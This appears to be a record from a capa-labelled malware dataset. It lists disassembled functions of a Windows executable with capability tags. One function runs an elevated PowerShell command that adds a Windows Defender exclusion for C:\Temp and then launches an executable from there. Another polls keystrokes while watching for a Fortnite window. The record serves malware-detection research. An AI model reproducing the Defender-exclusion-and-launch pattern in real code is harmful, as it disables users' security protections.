joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001830
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor ebx, ebx
lea r9, str._Command__Add_MpPreference__ExclusionPath_C:Temp_
mov dword [rsp + 0x28], ebx
lea r8, str.powershell
lea rdx, str.runas
mov qword [rsp + 0x20], rbx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.1400011c0
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rcx, str.C:Tempmatcha.exe
mov dword [rsp + 0xd4], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ebx
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001920
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001925
mov eax, 1
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001d70
add rsp, 0xf0
pop rbx
ret

Function at 0x140002724
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000276e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000276e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000276e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000276e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000276e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002770
xor al, al
add rsp, 0x28
ret
Function at 0x140001483
Capabilities:
Set current directory

Disassembly:
jmp 0x1402f7708
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x1402f771d
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x14000150f
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x1401b0530
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x18
xor eax, eax
test eax, eax
je 0x1401b054f
movsx eax, byte [rsp + 0x28]
or eax, 0x20
mov dword [rsp], eax
jmp 0x1401b0557
movsx eax, byte [rsp + 0x28]
mov dword [rsp], eax
mov eax, dword [rsp]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
imul eax, eax, 0x1000193
add rsp, 0x18
ret
Function at 0x1400017ad
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x14025f730
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov r8, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x38]
call fcn.140250900
mov r8, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
lea rcx, [rsp + 0x40]
call fcn.140250900
movss xmm0, dword [rsp + 0x3c]
ucomiss xmm0, dword [0x1403065e8]
jp 0x14025f78f
je 0x14025f7a3
movss xmm0, dword [rsp + 0x44]
divss xmm0, dword [rsp + 0x3c]
movss dword [rsp + 0x30], xmm0
jmp 0x14025f7ac
xorps xmm0, xmm0
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [rsp + 0x38]
ucomiss xmm0, dword [0x1403065e8]
jp 0x14025f7bd
je 0x14025f7d1
movss xmm0, dword [rsp + 0x40]
divss xmm0, dword [rsp + 0x38]
movss dword [rsp + 0x34], xmm0
jmp 0x14025f7da
xorps xmm0, xmm0
movss dword [rsp + 0x34], xmm0
movss xmm2, dword [rsp + 0x30]
movss xmm1, dword [rsp + 0x34]
lea rcx, [rsp + 0x58]
call fcn.140003756
movsxd rax, dword [rsp + 0xe8]
imul rax, rax, 0x14
mov rcx, qword [rsp + 0xe0]
add rax, qword [rcx + 0x28]
mov qword [rsp + 0x48], rax
movsxd rax, dword [rsp + 0xf0]
imul rax, rax, 0x14
mov rcx, qword [rsp + 0xe0]
add rax, qword [rcx + 0x28]
mov qword [rsp + 0x50], rax
movzx eax, byte [rsp + 0x118]
test eax, eax
je 0x14025f93f
mov r8, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x70]
call fcn.14025ce60
mov r8, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x60]
call fcn.14025cf10
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
jmp 0x14025f889
mov rax, qword [rsp + 0x20]
add rax, 0x14
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x20], rax
jae 0x14025f93a
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x20]
movss xmm2, dword [rax + 4]
mov rax, qword [rsp + 0x20]
movss xmm1, dword [rax]
lea rcx, [rsp + 0x80]
call fcn.140003756
mov r8, qword [rsp + 0xf8]
mov rdx, rax
lea rcx, [rsp + 0x88]
call fcn.140250900
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.14025d3e0
mov r8, rax
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x98]
call fcn.1402508a0
mov qword [rsp + 0x78], rax
mov r9, qword [rsp + 0x68]
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0xa0]
call fcn.14025cfc0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 8], rax
jmp 0x14025f87b
jmp 0x14025f9db
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
jmp 0x14025f959
mov rax, qword [rsp + 0x28]
add rax, 0x14
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x28], rax
jae 0x14025f9db
mov rax, qword [rsp + 0x28]
movss xmm2, dword [rax + 4]
mov rax, qword [rsp + 0x28]
movss xmm1, dword [rax]
lea rcx, [rsp + 0xa8]
call fcn.140003756
mov r8, qword [rsp + 0xf8]
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.140250900
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.14025d3e0
mov r8, rax
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0xc0]
call fcn.1402508a0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rax
jmp 0x14025f94b
add rsp, 0xd8
ret
Function at 0x140001ded
Capabilities:
Log keystrokes via polling
Terminate process

Disassembly:
jmp 0x1401b8090
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [0x140559740]
xor rax, rsp
mov qword [rsp + 0x78], rax
call fcn.1400026e9
call fcn.14000385a
call fcn.140003df5
mov rcx, qword [0x14055a2e0]
call fcn.14000213f
nop
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 1
test eax, eax
je 0x1401b8102
movzx eax, byte [0x140553a13]
test eax, eax
jne 0x1401b80ef
mov dword [rsp + 0x30], 1
jmp 0x1401b80f7
mov dword [rsp + 0x30], 0
movzx eax, byte [rsp + 0x30]
mov byte [0x140553a13], al
mov ecx, 0x78
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x1401b8135
mov rcx, qword [0x14055aa28]
call qword [sym.imp.USER32.dll_DestroyWindow]
lea rcx, [fcn.1400047e1]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0x58], rax
lea rdx, str.Fortnite
lea rcx, str.UnrealWindow
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rsp + 0x60], rax
movzx eax, byte [0x140553a13]
test eax, eax
je 0x1401b8172
mov rcx, qword [rsp + 0x90]
call fcn.140002f9a
nop
xorps xmm0, xmm0
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x140306628]
movss xmm2, dword [0x140306620]
movss xmm1, dword [0x140306618]
lea rcx, [rsp + 0x38]
call fcn.140003ca6
call fcn.140004ccd
movss xmm0, dword [rsp + 0x38]
mulss xmm0, dword [rsp + 0x44]
movss dword [rsp + 0x68], xmm0
movss xmm0, dword [rsp + 0x3c]
mulss xmm0, dword [rsp + 0x44]
movss dword [rsp + 0x6c], xmm0
movss xmm0, dword [rsp + 0x40]
mulss xmm0, dword [rsp + 0x44]
movss dword [rsp + 0x70], xmm0
movss xmm0, dword [rsp + 0x44]
movss dword [rsp + 0x74], xmm0
mov rax, qword [0x14055a9f8]
mov rax, qword [rax]
mov rax, qword [rax + 0x108]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea r8, [0x14055aa18]
mov edx, 1
mov rcx, qword [0x14055a9f8]
call qword [rsp + 0x48]
mov rax, qword [0x14055a9f8]
mov rax, qword [rax]
mov rax, qword [rax + 0x190]
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x68]
mov rdx, qword [0x14055aa18]
mov rcx, qword [0x14055a9f8]
call qword [rsp + 0x50]
call fcn.1400048ef
mov rcx, rax
call fcn.14000124e
nop
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002de7
add rsp, 0x88
ret

Function at 0x140001eb0
Capabilities:
Enumerate gui resources

Disassembly:
jmp 0x1401bddc0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
mov rdx, qword [rsp + 0x48]
lea rcx, [0x1400027fc]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword [rsp + 0x48]
add rax, 0x78
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call fcn.1400043ea
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x48]
call fcn.140002d33
mov rax, qword [rsp + 0x40]
add rsp, 0x38
ret
Function at 0x140001f82
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140014290
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x2c8
mov rax, qword [0x140559740]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
mov dword [rsp + 0x20], 1
mov rcx, qword [rsp + 0x2d0]
call fcn.140001447
nop
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
lea rdx, [0x140305834]
mov rcx, qword [rsp + 0x2d8]
call fcn.1400024fa
movzx eax, al
test eax, eax
je 0x14001432f
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x140014315
and dword [rsp + 0x20], 0xfffffffe
mov rcx, qword [rsp + 0x2d0]
call fcn.1400024f5
nop
mov rcx, qword [rsp + 0x2d8]
call fcn.140004548
mov rax, qword [rsp + 0x2d0]
jmp 0x140014466
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x70], 0x238
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x1400143a6
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x14001438c
and dword [rsp + 0x20], 0xfffffffe
mov rcx, qword [rsp + 0x2d0]
call fcn.1400024f5
nop
mov rcx, qword [rsp + 0x2d8]
call fcn.140004548
mov rax, qword [rsp + 0x2d0]
jmp 0x140014466
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x9c]
lea rcx, [rsp + 0x48]
call fcn.14000248c
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call fcn.140001f73
mov byte [rsp + 0x24], al
lea rcx, [rsp + 0x48]
call fcn.140004548
movzx eax, byte [rsp + 0x24]
test eax, eax
je 0x14001440d
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0x2d0]
call fcn.1400029c3
nop
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400143a6
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x140014451
and dword [rsp + 0x20], 0xfffffffe
mov rcx, qword [rsp + 0x2d0]
call fcn.1400024f5
nop
mov rcx, qword [rsp + 0x2d8]
call fcn.140004548
mov rax, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.140002de7
add rsp, 0x2c8
ret
Function at 0x14000279d
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x1402f8150
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x1402f81dd
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1402f81dd
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1402f81dd
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x1402f81c4
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x1402f81be
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x1402f81c6
add rdx, 0x28
jmp 0x1402f81a3
xor edx, edx
test rdx, rdx
jne 0x1402f81cf
xor al, al
jmp 0x1402f81e3
cmp dword [rdx + 0x24], 0
jge 0x1402f81d9
xor al, al
jmp 0x1402f81e3
mov al, 1
jmp 0x1402f81e3
xor al, al
jmp 0x1402f81e3
add rsp, 0x18
ret
Function at 0x14000329c
Capabilities:
Terminate process

Disassembly:
jmp 0x1402f84d0
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x14000371a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x1402afb00
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x14055ac88]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x10]
and eax, 1
test eax, eax
jne 0x1402afb36
jmp 0x1402afd51
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 4]
and eax, 0xc0
test eax, eax
jne 0x1402afb51
mov byte [rsp + 0x20], 1
jmp 0x1402afb56
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
mov byte [rsp + 0x21], al
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x1402afb7d
mov rax, qword [rsp + 0x80]
movss xmm0, dword [rax + 0x50]
movss dword [rsp + 0x38], xmm0
jmp 0x1402afb86
xorps xmm0, xmm0
movss dword [rsp + 0x38], xmm0
mov rax, qword [rsp + 0x80]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rsp + 0x38]
movss dword [rsp + 0x2c], xmm0
mov rax, qword [rsp + 0x88]
movss xmm0, dword [rsp + 0x2c]
addss xmm0, dword [rax + 0x10]
comiss xmm0, dword [rsp + 0x90]
jbe 0x1402afbc6
mov dword [rsp + 0x3c], 0xffffffff
jmp 0x1402afbce
mov dword [rsp + 0x3c], 1
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
call fcn.14000209f
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x24], eax
jmp 0x1402afc1b
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jl 0x1402afd22
mov rax, qword [rsp + 0x80]
mov eax, dword [rax]
cmp dword [rsp + 0x24], eax
jge 0x1402afd22
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov edx, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x60]
call fcn.1400050f6
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 4]
and eax, 0x20
test eax, eax
je 0x1402afc6e
jmp 0x1402afd22
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 4]
and eax, 0xc0
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 4]
and ecx, 0xc0
cmp eax, ecx
je 0x1402afc95
jmp 0x1402afd22
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0x40]
movss xmm0, dword [rsp + 0x2c]
addss xmm0, dword [rax + 0x10]
mov rax, qword [rsp + 0x50]
subss xmm0, dword [rax + 0x393c]
movss dword [rsp + 0x48], xmm0
mov rax, qword [rsp + 0x40]
movss xmm0, dword [rsp + 0x2c]
addss xmm0, dword [rax + 0x10]
mov rax, qword [rsp + 0x40]
addss xmm0, dword [rax + 0x14]
mov rax, qword [rsp + 0x50]
addss xmm0, dword [rax + 0x393c]
movss dword [rsp + 0x4c], xmm0
cmp dword [rsp + 0x30], 0
jge 0x1402afd04
movss xmm0, dword [rsp + 0x90]
comiss xmm0, dword [rsp + 0x48]
ja 0x1402afd1b
cmp dword [rsp + 0x30], 0
jle 0x1402afd1d
movss xmm0, dword [rsp + 0x4c]
comiss xmm0, dword [rsp + 0x90]
jbe 0x1402afd1d
jmp 0x1402afd22
jmp 0x1402afc0b
mov eax, dword [rsp + 0x28]
cmp dword [rsp + 0x34], eax
je 0x1402afd51
mov eax, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov r8d, eax
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call fcn.140004412
nop
add rsp, 0x78
ret
Function at 0x140003779
Capabilities:
Write file on windows

Disassembly:
jmp 0x1401dd300
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9, qword [rsp + 0x48]
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add rsp, 0x28
ret

Function at 0x1400037dd
Capabilities:
Get geographical location

Disassembly:
jmp 0x1402f5ae0
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1402f5b1a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1402f5b1f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1402f5b68
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14032fee0]
cmp byte [rcx + rax], 0
je 0x1402f5b68
dec r8
sub rdx, 1
jne 0x1402f5b4e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400039b3
Capabilities:
Read file on windows

Disassembly:
jmp 0x1401dd2c0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9, qword [rsp + 0x48]
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add rsp, 0x28
ret
Function at 0x1400039d1
Capabilities:
Hash data with crc32

Disassembly:
jmp 0x1401db820
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov eax, dword [rsp + 0x40]
not eax
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 4], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 8], rax
lea rax, [0x140306d80]
mov qword [rsp + 0x10], rax
cmp qword [rsp + 0x38], 0
je 0x1401db924
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x38]
dec rax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x18], 0
je 0x1401db91f
mov rax, qword [rsp + 8]
movzx eax, byte [rax]
mov byte [rsp + 2], al
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
movzx eax, byte [rsp + 2]
mov byte [rsp + 1], al
movzx eax, byte [rsp + 1]
cmp eax, 0x23
jne 0x1401db8f4
cmp qword [rsp + 0x38], 2
jb 0x1401db8f4
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x1401db8f4
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x1401db8f4
mov eax, dword [rsp + 0x40]
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
shr eax, 8
mov ecx, dword [rsp + 4]
and ecx, 0xff
movzx edx, byte [rsp + 1]
xor ecx, edx
mov ecx, ecx
mov rdx, qword [rsp + 0x10]
xor eax, dword [rdx + rcx*4]
mov dword [rsp + 4], eax
jmp 0x1401db867
jmp 0x1401db9b6
mov rax, qword [rsp + 8]
movzx eax, byte [rax]
mov byte [rsp + 3], al
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
movzx eax, byte [rsp + 3]
mov byte [rsp], al
movzx eax, byte [rsp]
test eax, eax
je 0x1401db9b6
movzx eax, byte [rsp]
cmp eax, 0x23
jne 0x1401db98c
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x1401db98c
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x1401db98c
mov eax, dword [rsp + 0x40]
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
shr eax, 8
mov ecx, dword [rsp + 4]
and ecx, 0xff
movzx edx, byte [rsp]
xor ecx, edx
mov ecx, ecx
mov rdx, qword [rsp + 0x10]
xor eax, dword [rdx + rcx*4]
mov dword [rsp + 4], eax
jmp 0x1401db924
mov eax, dword [rsp + 4]
not eax
add rsp, 0x28
ret
Function at 0x140003aad
Capabilities:
Terminate process

Disassembly:
jmp 0x1402f8f40
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.14000516e
test al, al
je 0x1402f8e2f
xor sil, sil
mov byte [rsp + 0x20], sil
call fcn.14000452f
mov bl, al
mov ecx, dword [0x140562fd8]
cmp ecx, 1
je 0x1402f8e3a
test ecx, ecx
jne 0x1402f8d65
mov dword [0x140562fd8], 1
lea rdx, [0x140304e38]
lea rcx, [0x140304b08]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
test eax, eax
je 0x1402f8d46
mov eax, 0xff
jmp 0x1402f8e1f
lea rdx, [0x1403049f8]
lea rcx, [section..rdata]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x140562fd8], 2
jmp 0x1402f8d6d
mov sil, 1
mov byte [rsp + 0x20], sil
mov cl, bl
call fcn.14000436d
call fcn.140003cce
mov rbx, rax
cmp qword [rax], 0
je 0x1402f8da0
mov rcx, rax
call fcn.14000279d
test al, al
je 0x1402f8da0
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [rbx]
call qword [0x140586020]
call fcn.140003f67
mov rbx, rax
cmp qword [rax], 0
je 0x1402f8dc2
mov rcx, rax
call fcn.14000279d
test al, al
je 0x1402f8dc2
mov rcx, qword [rbx]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
mov rdi, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov rbx, qword [rax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov r8, rdi
mov rdx, rbx
mov ecx, dword [rax]
call fcn.140003a08
mov ebx, eax
call fcn.140003b57
test al, al
je 0x1402f8e44
test sil, sil
jne 0x1402f8df9
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
xor edx, edx
mov cl, 1
call fcn.14000262b
mov eax, ebx
jmp 0x1402f8e1f
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.140004421
nop
mov ecx, 7
call fcn.140004421
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
nop
int3
sub rsp, 0x28
call fcn.140003bf2
add rsp, 0x28
jmp 0x1402f8cd8
Function at 0x140003b57
Capabilities:
Parse pe header

Disassembly:
jmp 0x1402f984c
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1402f9896
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1402f9896
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1402f9896
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1402f9896
cmp dword [rcx + 0x84], 0xe
jbe 0x1402f9896
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1402f9898
xor al, al
add rsp, 0x28
ret